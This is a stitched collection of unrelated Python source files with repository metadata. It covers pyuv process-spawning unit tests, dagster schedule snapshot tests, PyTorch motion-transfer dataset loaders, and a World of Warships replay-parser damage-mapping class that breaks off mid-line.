stdout_read_cb(handle, data, error): self.received_output = data.strip() handle.close(handle_close_cb) loop = pyuv.Loop.default_loop() stdout_pipe = pyuv.Pipe(loop) stdio = [] stdio.append(pyuv.StdIO(flags=pyuv.UV_IGNORE)) stdio.append(pyuv.StdIO(stream=stdout_pipe, flags=pyuv.UV_CREATE_PIPE|pyuv.UV_WRITABLE_PIPE)) proc = pyuv.Process(loop) if sys.platform == 'win32': proc.spawn(file="cmd.exe", args=["/c", "proc_env_stdout.py"], env={"TEST": "TEST"}, exit_callback=proc_exit_cb, stdio=stdio) else: proc.spawn(file="./proc_env_stdout.py", env={"TEST": "TEST"}, exit_callback=proc_exit_cb, stdio=stdio) stdout_pipe.start_read(stdout_read_cb) loop.run() self.assertEqual(self.exit_cb_called, 1) self.assertEqual(self.close_cb_called, 2) self.assertEqual(self.received_output, b"TEST") def test_process_stdin(self): self.exit_cb_called = 0 self.close_cb_called = 0 self.received_output = None self.exit_status = -1 self.term_signal = 0 def handle_close_cb(handle): self.close_cb_called +=1 def proc_exit_cb(proc, exit_status, term_signal): self.exit_cb_called += 1 self.exit_status = exit_status self.term_signal = term_signal proc.close(handle_close_cb) def stdout_read_cb(handle, data, error): if data: self.received_output = data.strip() handle.close(handle_close_cb) def stdin_write_cb(handle, error): handle.close(handle_close_cb) loop = pyuv.Loop.default_loop() stdin_pipe = pyuv.Pipe(loop) stdout_pipe = pyuv.Pipe(loop) stdio = [] stdio.append(pyuv.StdIO(stream=stdin_pipe, flags=pyuv.UV_CREATE_PIPE|pyuv.UV_READABLE_PIPE)) stdio.append(pyuv.StdIO(stream=stdout_pipe, flags=pyuv.UV_CREATE_PIPE|pyuv.UV_WRITABLE_PIPE)) proc = pyuv.Process(loop) if sys.platform == 'win32': proc.spawn(file="cmd.exe", args=["/c", "proc_stdin_stdout.py"], exit_callback=proc_exit_cb, stdio=stdio) else: proc.spawn(file="./proc_stdin_stdout.py", exit_callback=proc_exit_cb, stdio=stdio) stdout_pipe.start_read(stdout_read_cb) stdin_pipe.write(b"TEST"+common.linesep, stdin_write_cb) loop.run() self.assertEqual(self.exit_cb_called, 1) self.assertEqual(self.close_cb_called, 3) self.assertEqual(self.received_output, b"TEST") def test_process_kill(self): self.exit_cb_called = 0 self.close_cb_called = 0 self.exit_status = -1 self.term_signal = 0 def handle_close_cb(proc): self.close_cb_called +=1 def proc_exit_cb(proc, exit_status, term_signal): self.exit_cb_called += 1 self.exit_status = exit_status self.term_signal = term_signal proc.close(handle_close_cb) def timer_cb(timer): timer.close(handle_close_cb) proc.kill(15) loop = pyuv.Loop.default_loop() timer = pyuv.Timer(loop) timer.start(timer_cb, 0.1, 0) proc = pyuv.Process(loop) if sys.platform == 'win32': proc.spawn(file="cmd.exe", args=["/c", "proc_infinite.py"], exit_callback=proc_exit_cb) else: proc.spawn(file="./proc_infinite.py", exit_callback=proc_exit_cb) loop.run() self.assertEqual(self.exit_cb_called, 1) self.assertEqual(self.close_cb_called, 2) if sys.platform == 'win32': self.assertEqual(self.exit_status, 1) else: self.assertEqual(self.exit_status, 0) self.assertEqual(self.term_signal, 15) @platform_skip(["win32"]) def test_process_uid_gid(self): self.exit_cb_called = 0 self.close_cb_called = 0 def proc_close_cb(proc): self.close_cb_called +=1 def proc_exit_cb(proc, exit_status, term_signal): self.assertEqual(exit_status, 0) self.exit_cb_called += 1 proc.close(proc_close_cb) if os.getuid() != 0: self.skipTest("test disabled if running as non-root") return p_info = pwd.getpwnam("nobody") loop = pyuv.Loop.default_loop() proc = pyuv.Process(loop) proc.spawn(file="./proc_basic.py", exit_callback=proc_exit_cb, uid=p_info.pw_uid, gid=p_info.pw_gid, flags=pyuv.UV_PROCESS_SETUID|pyuv.UV_PROCESS_SETGID) pid = proc.pid loop.run() self.assertEqual(self.exit_cb_called, 1) self.assertEqual(self.close_cb_called, 1) self.assertNotEqual(pid, None) @platform_skip(["win32"]) def test_process_uid_fail(self): self.exit_cb_called = 0 self.close_cb_called = 0 def proc_close_cb(proc): self.close_cb_called +=1 def proc_exit_cb(proc, exit_status, term_signal): self.assertNotEqual(exit_status, 0) self.exit_cb_called += 1 proc.close(proc_close_cb) if os.getuid() != 0: self.skipTest("test disabled if running as non-root") return loop = pyuv.Loop.default_loop() proc = pyuv.Process(loop) proc.spawn(file="./proc_basic.py", exit_callback=proc_exit_cb, uid=-42424242, flags=pyuv.UV_PROCESS_SETUID) loop.run() self.assertEqual(self.exit_cb_called, 1) self.assertEqual(self.close_cb_called, 1) def test_process_detached(self): self.exit_cb_called = 0 def proc_exit_cb(proc, exit_status, term_signal): self.exit_cb_called += 1 loop = pyuv.Loop.default_loop() proc = pyuv.Process(loop) if sys.platform == 'win32': proc.spawn(file="cmd.exe", args=["/c", "proc_basic.py"], exit_callback=proc_exit_cb, flags=pyuv.UV_PROCESS_DETACHED) else: proc.spawn(file="./proc_basic.py", exit_callback=proc_exit_cb, flags=pyuv.UV_PROCESS_DETACHED) proc.unref() pid = proc.pid loop.run() self.assertEqual(self.exit_cb_called, 0) proc.kill(0) proc.kill(15) self.assertNotEqual(pid, None) if __name__ == '__main__': unittest2.main(verbosity=2)

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0.627075

1,523

11,206

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0.069599

0.052799

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0.072827

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0.853892

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0.014008

0.261021

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false

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null

0

7

bedda59ce9a7e5ef6a625b4b2e7b1ced216b91b7

6,705

py

Python

python_modules/dagster-graphql/dagster_graphql_tests/graphql/snapshots/snap_test_execute_schedule.py

joeyfreund/dagster

e551ff4bbb2c42b497a3e1c28cfb51fd5f2b1c21

[ "Apache-2.0" ]

1

2020-12-20T18:39:17.000Z

python_modules/dagster-graphql/dagster_graphql_tests/graphql/snapshots/snap_test_execute_schedule.py

joeyfreund/dagster

e551ff4bbb2c42b497a3e1c28cfb51fd5f2b1c21

[ "Apache-2.0" ]

null

python_modules/dagster-graphql/dagster_graphql_tests/graphql/snapshots/snap_test_execute_schedule.py

joeyfreund/dagster

e551ff4bbb2c42b497a3e1c28cfb51fd5f2b1c21

[ "Apache-2.0" ]

null

# -*- coding: utf-8 -*- # snapshottest: v1 - https://goo.gl/zC4yUc from __future__ import unicode_literals from snapshottest import Snapshot snapshots = Snapshot() snapshots[ 'TestExecuteSchedule.test_tick_skip[sqlite_with_cli_api_run_launcher_in_process_env] 1' ] = { 'stats': {'ticksFailed': 0, 'ticksSkipped': 1, 'ticksStarted': 0, 'ticksSucceeded': 0}, 'ticks': [{'status': 'SKIPPED', 'tickId': '1'}], 'ticksCount': 1, } snapshots[ 'TestExecuteSchedule.test_tick_success[sqlite_with_cli_api_run_launcher_in_process_env] 1' ] = { 'stats': {'ticksFailed': 0, 'ticksSkipped': 0, 'ticksStarted': 0, 'ticksSucceeded': 1}, 'ticks': [{'status': 'SUCCESS', 'tickId': '1'}], 'ticksCount': 1, } snapshots[ 'TestExecuteSchedule.test_should_execute_scheduler_error[sqlite_with_cli_api_run_launcher_in_process_env] 1' ] = { 'stats': {'ticksFailed': 1, 'ticksSkipped': 0, 'ticksStarted': 0, 'ticksSucceeded': 0}, 'ticks': [{'status': 'FAILURE', 'tickId': '1'}], 'ticksCount': 1, } snapshots[ 'TestExecuteSchedule.test_tags_scheduler_error[sqlite_with_cli_api_run_launcher_in_process_env] 1' ] = { 'stats': {'ticksFailed': 0, 'ticksSkipped': 0, 'ticksStarted': 0, 'ticksSucceeded': 1}, 'ticks': [{'status': 'SUCCESS', 'tickId': '1'}], 'ticksCount': 1, } snapshots[ 'TestExecuteSchedule.test_run_config_scheduler_error[sqlite_with_cli_api_run_launcher_in_process_env] 1' ] = { 'stats': {'ticksFailed': 0, 'ticksSkipped': 0, 'ticksStarted': 0, 'ticksSucceeded': 1}, 'ticks': [{'status': 'SUCCESS', 'tickId': '1'}], 'ticksCount': 1, } snapshots[ 'TestExecuteSchedule.test_query_multiple_schedule_ticks[sqlite_with_cli_api_run_launcher_in_process_env] 1' ] = [ { 'name': 'dynamic_config', 'scheduleState': { 'stats': {'ticksFailed': 0, 'ticksSkipped': 0, 'ticksStarted': 0, 'ticksSucceeded': 0}, 'ticks': [], 'ticksCount': 0, }, }, { 'name': 'run_config_error_schedule', 'scheduleState': { 'stats': {'ticksFailed': 0, 'ticksSkipped': 0, 'ticksStarted': 0, 'ticksSucceeded': 1}, 'ticks': [{'status': 'SUCCESS', 'tickId': '3'}], 'ticksCount': 1, }, }, { 'name': 'invalid_config_schedule', 'scheduleState': { 'stats': {'ticksFailed': 0, 'ticksSkipped': 0, 'ticksStarted': 0, 'ticksSucceeded': 0}, 'ticks': [], 'ticksCount': 0, }, }, { 'name': 'no_config_pipeline_hourly_schedule', 'scheduleState': { 'stats': {'ticksFailed': 0, 'ticksSkipped': 0, 'ticksStarted': 0, 'ticksSucceeded': 1}, 'ticks': [{'status': 'SUCCESS', 'tickId': '1'}], 'ticksCount': 1, }, }, { 'name': 'no_config_pipeline_hourly_schedule_with_config_fn', 'scheduleState': { 'stats': {'ticksFailed': 0, 'ticksSkipped': 0, 'ticksStarted': 0, 'ticksSucceeded': 0}, 'ticks': [], 'ticksCount': 0, }, }, { 'name': 'no_config_should_execute', 'scheduleState': { 'stats': {'ticksFailed': 0, 'ticksSkipped': 1, 'ticksStarted': 0, 'ticksSucceeded': 0}, 'ticks': [{'status': 'SKIPPED', 'tickId': '2'}], 'ticksCount': 1, }, }, { 'name': 'partition_based', 'scheduleState': { 'stats': {'ticksFailed': 0, 'ticksSkipped': 0, 'ticksStarted': 0, 'ticksSucceeded': 0}, 'ticks': [], 'ticksCount': 0, }, }, { 'name': 'partition_based_custom_selector', 'scheduleState': { 'stats': {'ticksFailed': 0, 'ticksSkipped': 0, 'ticksStarted': 0, 'ticksSucceeded': 0}, 'ticks': [], 'ticksCount': 0, }, }, { 'name': 'partition_based_decorator', 'scheduleState': { 'stats': {'ticksFailed': 0, 'ticksSkipped': 0, 'ticksStarted': 0, 'ticksSucceeded': 0}, 'ticks': [], 'ticksCount': 0, }, }, { 'name': 'partition_based_multi_mode_decorator', 'scheduleState': { 'stats': {'ticksFailed': 0, 'ticksSkipped': 0, 'ticksStarted': 0, 'ticksSucceeded': 0}, 'ticks': [], 'ticksCount': 0, }, }, { 'name': 'should_execute_error_schedule', 'scheduleState': { 'stats': {'ticksFailed': 0, 'ticksSkipped': 0, 'ticksStarted': 0, 'ticksSucceeded': 0}, 'ticks': [], 'ticksCount': 0, }, }, { 'name': 'solid_selection_daily_decorator', 'scheduleState': { 'stats': {'ticksFailed': 0, 'ticksSkipped': 0, 'ticksStarted': 0, 'ticksSucceeded': 0}, 'ticks': [], 'ticksCount': 0, }, }, { 'name': 'solid_selection_hourly_decorator', 'scheduleState': { 'stats': {'ticksFailed': 0, 'ticksSkipped': 0, 'ticksStarted': 0, 'ticksSucceeded': 0}, 'ticks': [], 'ticksCount': 0, }, }, { 'name': 'solid_selection_monthly_decorator', 'scheduleState': { 'stats': {'ticksFailed': 0, 'ticksSkipped': 0, 'ticksStarted': 0, 'ticksSucceeded': 0}, 'ticks': [], 'ticksCount': 0, }, }, { 'name': 'solid_selection_weekly_decorator', 'scheduleState': { 'stats': {'ticksFailed': 0, 'ticksSkipped': 0, 'ticksStarted': 0, 'ticksSucceeded': 0}, 'ticks': [], 'ticksCount': 0, }, }, { 'name': 'tagged_pipeline_override_schedule', 'scheduleState': { 'stats': {'ticksFailed': 0, 'ticksSkipped': 0, 'ticksStarted': 0, 'ticksSucceeded': 0}, 'ticks': [], 'ticksCount': 0, }, }, { 'name': 'tagged_pipeline_schedule', 'scheduleState': { 'stats': {'ticksFailed': 0, 'ticksSkipped': 0, 'ticksStarted': 0, 'ticksSucceeded': 0}, 'ticks': [], 'ticksCount': 0, }, }, { 'name': 'tags_error_schedule', 'scheduleState': { 'stats': {'ticksFailed': 0, 'ticksSkipped': 0, 'ticksStarted': 0, 'ticksSucceeded': 0}, 'ticks': [], 'ticksCount': 0, }, }, ] snapshots[ 'TestExecuteSchedule.test_invalid_config_schedule_error[sqlite_with_cli_api_run_launcher_in_process_env] 1' ] = { 'stats': {'ticksFailed': 0, 'ticksSkipped': 0, 'ticksStarted': 0, 'ticksSucceeded': 1}, 'ticks': [{'status': 'SUCCESS', 'tickId': '1'}], 'ticksCount': 1, }

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6.170213

0.134752

0.110345

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6,705

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0.170783

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1

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false

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0.010363

0

null

0

1

0

null

0

8

8301a0d7c9d84d6f27427167df5c53b5615fe1f8

21,105

py

Python

DataSet.py

jlimsf/FewShotMotionTransfer

54fcef9d2c22d27bfea81a239b56d1a040205e86

[ "Apache-2.0" ]

null

DataSet.py

jlimsf/FewShotMotionTransfer

54fcef9d2c22d27bfea81a239b56d1a040205e86

[ "Apache-2.0" ]

null

DataSet.py

jlimsf/FewShotMotionTransfer

54fcef9d2c22d27bfea81a239b56d1a040205e86

[ "Apache-2.0" ]

null

from torch.utils.data import dataset import os from PIL import Image from torchvision.transforms import transforms import torch from torchvision.transforms import functional as F import numpy as np import glob import random import imageio class BaseDataSet(dataset.Dataset): def __init__(self, config): super(BaseDataSet, self).__init__() self.config = config def loader(self, path, mode): # with open(path, 'rb') as f: img = Image.open(path) return img.convert(mode) def GetTexture(self, im, IUV): U = IUV[:, :, 1] V = IUV[:, :, 2] Texture = np.zeros((24, 128, 128, 3), dtype=np.uint8) for PartInd in range(1, 25): tex = Texture[PartInd - 1, :, :, :].squeeze() x, y = np.where(IUV[:, :, 0] == PartInd) u = U[x, y] // 2 v = V[x, y] // 2 tex[u, v] = im[x, y] Texture[PartInd - 1] = tex TextureIm = np.zeros((128 * 4, 128 * 6, 3), dtype=np.uint8) for i in range(len(Texture)): x = i // 6 * 128 y = i % 6 * 128 TextureIm[x:x + 128, y:y + 128] = Texture[i] return TextureIm def label_to_tensor(self, label): if isinstance(label, np.ndarray): return torch.from_numpy(label) else: return (F.to_tensor(label)*255.0).type(torch.long) def _transform(self, images, tolabel): if 'resize' in self.config: old_size, _ = images[0].size size = [self.config['resize'], self.config['resize']] resize = transforms.Resize(size, Image.NEAREST) for i in range(len(images)): images[i] = resize(images[i]) if 'hflip' in self.config and self.config['hflip']: flip = random.randint(0, 1) else: flip = 0 if flip==1: for i in range(len(images)): images[i] = F.hflip(images[i]) for i in range(len(images)): if tolabel[i]: images[i] = self.label_to_tensor(images[i]) else: images[i] = F.to_tensor(images[i]) return images class ReconstructDataSet(BaseDataSet): def __init__(self, root, config, list_name="image_list.txt"): super(ReconstructDataSet, self).__init__(config) self.root = root self.folders = glob.glob(os.path.join(root, "*")) self.folders.sort() self.filelist = [] self.filelists = [] for i, folder in enumerate(self.folders): with open(os.path.join(folder, list_name)) as f: filelist = f.readlines() filelist.sort(key=int) filelist = [(x.strip(), i) for x in filelist] self.filelist += filelist self.filelists.append(filelist) self.size = self.config['resize'] self.stage = self.config['phase'] def __len__(self): return len(self.filelist) def __getitem__(self, index): label = self.filelist[index][1] name = self.filelist[index][0] folder = self.folders[label] if self.stage == 'pretrain' or self.stage == 'train': image = self.loader(os.path.join(folder, "image", name+".png"), mode="RGB") body = self.loader(os.path.join(folder, "body", name+".png"), mode="L") foreground = self.loader(os.path.join(folder, "segmentation", name+".png"), mode="L") image_index = random.randrange(0, len(self.filelists[label])) image_name = self.filelists[label][image_index][0] class_image = self.loader(os.path.join(folder, "image", image_name+".png"), mode="RGB") class_foreground = self.loader(os.path.join(folder, "segmentation", image_name+".png"), mode="L") class_body = self.loader(os.path.join(folder, "body", image_name+".png"), mode="L") IUV = self.loader(os.path.join(folder, "densepose", name+".png"), mode="RGB") # transform_iuv = self._transform([IUV], [True] )[0] # print (np.asarray(IUV).shape) transform_output = self._transform([image, class_image, body, class_body, foreground, class_foreground, IUV], [False, False, True, True, True, True, True]) data_name = ["image", "class_image", "body", "class_body", "foreground", "class_foreground", "IUV"] data=dict(zip(data_name, transform_output)) # print (np.asarray(data["IUV"]).shape) # print (self.stage) data["mask"] = data["IUV"][-1,:,:] data["foreground"] = (data["foreground"] > 0).to(torch.long) data["U"] = data["IUV"][1,:,:].unsqueeze(0).to(torch.float32)/self.config["URange"] data["V"] = data["IUV"][0,:,:].unsqueeze(0).to(torch.float32)/self.config["VRange"] data.pop("IUV") if self.stage == 'pretrain_texture': data = {} textures = [] texture = self.loader(os.path.join(folder, "texture", name + ".png"), mode="RGB") texture_tensor = F.to_tensor(texture) texture_size = texture_tensor.size()[1] // 4 texture_tensor = texture_tensor.view(-1, 4, texture_size, 6, texture_size) texture_tensor = texture_tensor.permute(1, 3, 0, 2, 4) texture_tensor = texture_tensor texture_tensor = texture_tensor.contiguous().view(24 * 3, texture_size, texture_size) textures.append(texture_tensor) indexes = random.sample(list(range(0, len(self.filelists[label]))), self.config["num_texture"]-1) for i in indexes: name = self.filelists[label][i][0] texture = self.loader(os.path.join(folder, "texture", name+".png"), mode="RGB") texture_tensor = F.to_tensor(texture) texture_size = texture_tensor.size()[1]//4 texture_tensor = texture_tensor.view(-1, 4, texture_size, 6, texture_size) texture_tensor = texture_tensor.permute(1, 3, 0, 2, 4) texture_tensor = texture_tensor.contiguous().view(24*3, texture_size, texture_size) textures.append(texture_tensor) data["texture"] = torch.stack(textures, dim=0) if self.stage == 'train': indexes = random.sample(list(range(0, len(self.filelists[label]))), 1) for i in indexes: name = self.filelists[label][i][0] texture = self.loader(os.path.join(folder, "texture", name+".png"), mode="RGB") texture_tensor = F.to_tensor(texture) texture_size = texture_tensor.size()[1]//4 texture_tensor = texture_tensor.view(-1, 4, texture_size, 6, texture_size) texture_tensor = texture_tensor.permute(1, 3, 0, 2, 4) texture_tensor = texture_tensor.contiguous().view(24*3, texture_size, texture_size) data["texture"] = texture_tensor.unsqueeze(0) data["class"] = label return data class TransferDataSet(BaseDataSet): def __init__(self, root, src_root, config, list_name="image_list.txt"): super(TransferDataSet, self).__init__(config) self.root = root with open(os.path.join(root, list_name)) as f: filelist = f.readlines() filelist.sort(key=int) filelist = [x.strip() for x in filelist] self.filelist = filelist self.src_root = src_root with open(os.path.join(src_root, list_name)) as f: filelist = f.readlines() filelist.sort(key=int) filelist = [x.strip() for x in filelist] self.src_filelist = filelist self.size = self.config['resize'] self.stage = self.config['phase'] def __len__(self): return len(self.filelist) def loader(self, path, mode): with open(path, 'rb') as f: img = Image.open(f) return img.convert(mode) def label_to_tensor(self, label): if isinstance(label, np.ndarray): return torch.from_numpy(label) else: return (F.to_tensor(label) * 255.0).type(torch.long) def _transform(self, images, tolabel): if 'resize' in self.config: old_size, _ = images[0].size size = [self.config['resize'], self.config['resize']] resize = transforms.Resize(size, Image.NEAREST) for i in range(len(images)): images[i] = resize(images[i]) if 'hflip' in self.config and self.config['hflip']: flip = random.randint(0, 1) else: flip = 0 if flip == 1: for i in range(len(images)): images[i] = F.hflip(images[i]) for i in range(len(images)): if tolabel[i]: images[i] = self.label_to_tensor(images[i]) else: images[i] = F.to_tensor(images[i]) return images def __getitem__(self, index): name = self.filelist[index] root = self.root src_root = self.src_root image = self.loader(os.path.join(root, "image", name + ".png"), mode="RGB") body = self.loader(os.path.join(root, "body", name + ".png"), mode="L") foreground = self.loader(os.path.join(root, "segmentation", name + ".png"), mode="L") class_image = self.loader(os.path.join(src_root, "image", self.src_filelist[0] + ".png"), mode="RGB") class_foreground = self.loader(os.path.join(src_root, "segmentation", self.src_filelist[0] + ".png"), mode="L") class_body = self.loader(os.path.join(src_root, "body", self.src_filelist[0] + ".png"), mode="L") transform_output = self._transform([image, class_image, body, class_body, foreground, class_foreground], [False, False, True, True, True, True]) data_name = ["image", "class_image", "body", "class_body", "foreground", "class_foreground"] data = dict(zip(data_name, transform_output)) data["foreground"] = (data["foreground"] > 0).to(torch.long) textures = [] indexes = random.sample(list(range(0, len(self.src_filelist))), self.config["num_texture"]) for i in indexes: name = self.src_filelist[i] texture = self.loader(os.path.join(src_root, "texture", name + ".png"), mode="RGB") texture_tensor = F.to_tensor(texture) texture_size = texture_tensor.size()[1] // 4 texture_tensor = texture_tensor.view(-1, 4, texture_size, 6, texture_size) texture_tensor = texture_tensor.permute(1, 3, 0, 2, 4) texture_tensor = texture_tensor texture_tensor = texture_tensor.contiguous().view(24 * 3, texture_size, texture_size) textures.append(texture_tensor) data["texture"] = torch.stack(textures, dim=0) data["class"] = 0 return data class RT_ReconstructDataSet(BaseDataSet): def __init__(self, root, config, min_sequence_len, list_name="image_list.txt"): super(RT_ReconstructDataSet, self).__init__(config) self.root = root # self.folders = glob.glob(os.path.join(root, "*")) self.folders = [] for video in os.listdir(self.root): video_dir = os.path.join(self.root, video) for subject in os.listdir(video_dir): subject_dir = os.path.join(video_dir, subject) with open(os.path.join(subject_dir, list_name)) as f: filelist = f.readlines() if len(filelist) < min_sequence_len: continue else: self.folders.append(subject_dir) self.filelist = [] self.filelists = [] for i, folder in enumerate(self.folders): with open(os.path.join(folder, list_name)) as f: filelist = f.readlines() # filelist.sort(key=int) filelist = [(x.strip(), i) for x in filelist] self.filelist += filelist self.filelists.append(filelist) self.size = self.config['resize'] self.stage = self.config['phase'] def __len__(self): return len(self.filelist) def __getitem__(self, index): label = self.filelist[index][1] name = self.filelist[index][0] folder = self.folders[label] if self.stage == 'pretrain' or self.stage == 'train': image = self.loader(os.path.join(folder, "image", name+".jpg"), mode="RGB") body = self.loader(os.path.join(folder, "body", name+".png"), mode="L") foreground = self.loader(os.path.join(folder, "segmentation", name+".jpg"), mode="L") image_index = random.randrange(0, len(self.filelists[label])) image_name = self.filelists[label][image_index][0] class_image = self.loader(os.path.join(folder, "image", image_name+".jpg"), mode="RGB") class_foreground = self.loader(os.path.join(folder, "segmentation", image_name+".jpg"), mode="L") class_body = self.loader(os.path.join(folder, "body", image_name+".png"), mode="L") IUV = self.loader(os.path.join(folder, "densepose", name+".png") , mode="RGB") # IUV = imageio.imread(iuv_p) # # print (np.asarray(IUV).shape) # print (np.unique(np.asarray(IUV))) # print (np.unique(np.asarray(IUV)[:, :, 0])) # print (np.unique(np.asarray(IUV)[:, :, 1])) # print (np.unique(np.asarray(IUV)[:, :, 2])) # transform_iuv = self._transform([IUV], [True] )[0] # print (transform_iuv.shape) # print (np.unique(transform_iuv[0, :, :])) # print (np.unique(transform_iuv[1, :, :])) # print (np.unique(transform_iuv[2, :, :])) # # exit() transform_output = self._transform([image, class_image, body, class_body, foreground, class_foreground, IUV], [False, False, True, True, True, True, True]) data_name = ["image", "class_image", "body", "class_body", "foreground", "class_foreground", "IUV"] data=dict(zip(data_name, transform_output)) data["mask"] = data["IUV"][-1,:,:] # print (np.unique(data['mask'], return_counts=True), ' unique mask') # print (data["IUV"][-1, :, :].shape) data["foreground"] = (data["foreground"] > 0).to(torch.long) data["U"] = data["IUV"][1,:,:].unsqueeze(0).to(torch.float32)/self.config["URange"] data["V"] = data["IUV"][0,:,:].unsqueeze(0).to(torch.float32)/self.config["VRange"] data.pop("IUV") # print (np.unique(data['mask']), ' unique mask') # exit() if self.stage == 'pretrain_texture': data = {} textures = [] texture = self.loader(os.path.join(folder, "texture", name + ".png"), mode="RGB") texture_tensor = F.to_tensor(texture) texture_size = texture_tensor.size()[1] // 4 texture_tensor = texture_tensor.view(-1, 4, texture_size, 6, texture_size) texture_tensor = texture_tensor.permute(1, 3, 0, 2, 4) texture_tensor = texture_tensor texture_tensor = texture_tensor.contiguous().view(24 * 3, texture_size, texture_size) textures.append(texture_tensor) indexes = random.sample(list(range(0, len(self.filelists[label]))), self.config["num_texture"]-1) for i in indexes: name = self.filelists[label][i][0] texture = self.loader(os.path.join(folder, "texture", name+".png"), mode="RGB") texture_tensor = F.to_tensor(texture) texture_size = texture_tensor.size()[1]//4 texture_tensor = texture_tensor.view(-1, 4, texture_size, 6, texture_size) texture_tensor = texture_tensor.permute(1, 3, 0, 2, 4) texture_tensor = texture_tensor.contiguous().view(24*3, texture_size, texture_size) textures.append(texture_tensor) data["texture"] = torch.stack(textures, dim=0) if self.stage == 'train': indexes = random.sample(list(range(0, len(self.filelists[label]))), 1) for i in indexes: name = self.filelists[label][i][0] texture = self.loader(os.path.join(folder, "texture", name+".png"), mode="RGB") texture_tensor = F.to_tensor(texture) texture_size = texture_tensor.size()[1]//4 texture_tensor = texture_tensor.view(-1, 4, texture_size, 6, texture_size) texture_tensor = texture_tensor.permute(1, 3, 0, 2, 4) texture_tensor = texture_tensor.contiguous().view(24*3, texture_size, texture_size) data["texture"] = texture_tensor.unsqueeze(0) data["class"] = label return data class ValidationTransferDataSet(BaseDataSet): def __init__(self, root, src_root, config, list_name="image_list.txt"): super(ValidationTransferDataSet, self).__init__(config) self.root = root self.src_root = src_root with open(os.path.join(root, list_name)) as f: filelist = f.readlines() filelist.sort(key=int) filelist = [x.strip() for x in filelist] self.filelist = filelist with open(os.path.join(src_root, list_name)) as f: filelist = f.readlines() filelist = [x.strip() for x in filelist] self.src_filelist = filelist self.size = self.config['resize'] self.stage = self.config['phase'] def __len__(self): return len(self.filelist) def loader(self, path, mode): with open(path, 'rb') as f: img = Image.open(f) return img.convert(mode) def label_to_tensor(self, label): if isinstance(label, np.ndarray): return torch.from_numpy(label) else: return (F.to_tensor(label) * 255.0).type(torch.long) def _transform(self, images, tolabel): if 'resize' in self.config: old_size, _ = images[0].size size = [self.config['resize'], self.config['resize']] resize = transforms.Resize(size, Image.NEAREST) for i in range(len(images)): images[i] = resize(images[i]) for i in range(len(images)): if tolabel[i]: images[i] = self.label_to_tensor(images[i]) else: images[i] = F.to_tensor(images[i]) return images def __getitem__(self, index): name = self.filelist[index] root = self.root src_root = self.src_root image = self.loader(os.path.join(root, "image", name + ".png"), mode="RGB") # print (image) body = self.loader(os.path.join(root, "body", name + ".png"), mode="L") # print (body) foreground = self.loader(os.path.join(root, "segmentation", name + ".png"), mode="L") # print (foreground) class_image = self.loader(os.path.join(src_root, "image", self.src_filelist[0] + ".jpg"), mode="RGB") # print (class_image) class_foreground = self.loader(os.path.join(src_root, "segmentation", self.src_filelist[0] + ".jpg"), mode="L") # print (class_foreground) class_body = self.loader(os.path.join(src_root, "body", self.src_filelist[0] + ".png"), mode="L") # print (class_body) transform_output = self._transform([image, class_image, body, class_body, foreground, class_foreground], [False, False, True, True, True, True]) # print (transform_output) data_name = ["image", "class_image", "body", "class_body", "foreground", "class_foreground"] data = dict(zip(data_name, transform_output)) data["foreground"] = (data["foreground"] > 0).to(torch.long) textures = [] indexes = random.sample(list(range(0, len(self.src_filelist))), min(self.config["num_texture"],len(self.src_filelist)) ) # indexes = random.sample(list(range(0, len(self.src_filelist))), self.config["num_texture"]) for i in indexes: name = self.src_filelist[i] texture = self.loader(os.path.join(src_root, "texture", name + ".png"), mode="RGB") texture_tensor = F.to_tensor(texture) texture_size = texture_tensor.size()[1] // 4 texture_tensor = texture_tensor.view(-1, 4, texture_size, 6, texture_size) texture_tensor = texture_tensor.permute(1, 3, 0, 2, 4) texture_tensor = texture_tensor texture_tensor = texture_tensor.contiguous().view(24 * 3, texture_size, texture_size) textures.append(texture_tensor) data["texture"] = torch.stack(textures, dim=0) data["class"] = 0 return data

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0.088737

0.038396

0.046416

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0.879266

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0.843345

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0.281782

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168

41.220703

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null

0

7

830cd6616e1ed15e089bbdc6c1a332394f8bd74d

3,327

py

Python

BigWorld/DamageCollection.py

kagurazakasanae/wows_replay_parser

8b9067b82fd898a35f0f7c54d05b7cf4919ac11d

[ "MIT" ]

4

2020-03-16T16:07:39.000Z

2021-12-28T00:09:28.000Z

BigWorld/DamageCollection.py

kagurazakasanae/wows_replay_parser

8b9067b82fd898a35f0f7c54d05b7cf4919ac11d

[ "MIT" ]

null

BigWorld/DamageCollection.py

kagurazakasanae/wows_replay_parser

8b9067b82fd898a35f0f7c54d05b7cf4919ac11d

[ "MIT" ]

1

2020-07-16T22:44:35.000Z

from BigWorld.BaseCollection import * from BigWorld.DamageType import * class DamageCollection(BaseCollection): def getMap(self): return {1:DAMAGE_MAIN_AP, 2:DAMAGE_MAIN_HE, 3:DAMAGE_AMK_AP, 4:DAMAGE_AMK_HE, 7:DAMAGE_SHIP_TORPEDO, 10:DAMAGE_AVIA_BOMB, 11:DAMAGE_AVIA_TORPEDO, 16:DAMAGE_FIRE, 17:DAMAGE_RAM, 19:DAMAGE_SINK} def set(self, itemCode, value): if itemCode not in self._items: super(DamageCollection, self).set(itemCode, value) super(DamageCollection, self).add(DAMAGE_ALL, value) elif self._items[itemCode] < value: prevValue = self.get(itemCode) super(DamageCollection, self).set(itemCode, value) super(DamageCollection, self).add(DAMAGE_ALL, value - prevValue) class DamageCollection_0_6_12(DamageCollection): def getMap(self): return {1:DAMAGE_MAIN_AP, 2:DAMAGE_MAIN_HE, 3:DAMAGE_AMK_AP, 4:DAMAGE_AMK_HE, 7:DAMAGE_SHIP_TORPEDO, 11:DAMAGE_AVIA_BOMB, 12:DAMAGE_AVIA_TORPEDO, 17:DAMAGE_FIRE, 18:DAMAGE_RAM, 20:DAMAGE_SINK} class DamageCollection_0_6_13(DamageCollection): def getMap(self): return {1:DAMAGE_MAIN_AP, 2:DAMAGE_MAIN_HE, 3:DAMAGE_AMK_AP, 4:DAMAGE_AMK_HE, 7:DAMAGE_SHIP_TORPEDO, 10:DAMAGE_AVIA_BOMB_AP, 11:DAMAGE_AVIA_BOMB_HE, 12:DAMAGE_AVIA_TORPEDO, 17:DAMAGE_FIRE, 18:DAMAGE_RAM, 20:DAMAGE_SINK} def set(self, itemCode, value): if itemCode not in self._items: super(DamageCollection_0_6_13, self).set(itemCode, value) if itemCode == DAMAGE_AVIA_BOMB_AP or itemCode == DAMAGE_AVIA_BOMB_HE: super(DamageCollection_0_6_13, self).add(DAMAGE_AVIA_BOMB, value) elif self._items[itemCode] < value: prevValue = self.get(itemCode) super(DamageCollection_0_6_13, self).set(itemCode, value) if itemCode == DAMAGE_AVIA_BOMB_AP or itemCode 